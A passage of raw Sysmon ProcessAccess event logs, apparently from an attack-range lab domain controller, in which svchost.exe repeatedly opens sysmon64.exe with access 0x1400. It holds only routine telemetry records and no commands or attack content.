C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.562","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1299,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.562\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.562","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1300,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.562\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.562","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1301,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.578\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.578","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1302,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.578\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.578","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1303,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.578\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.578","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1304,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.578\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.578","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1305,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.578\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.578","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1306,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.578\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 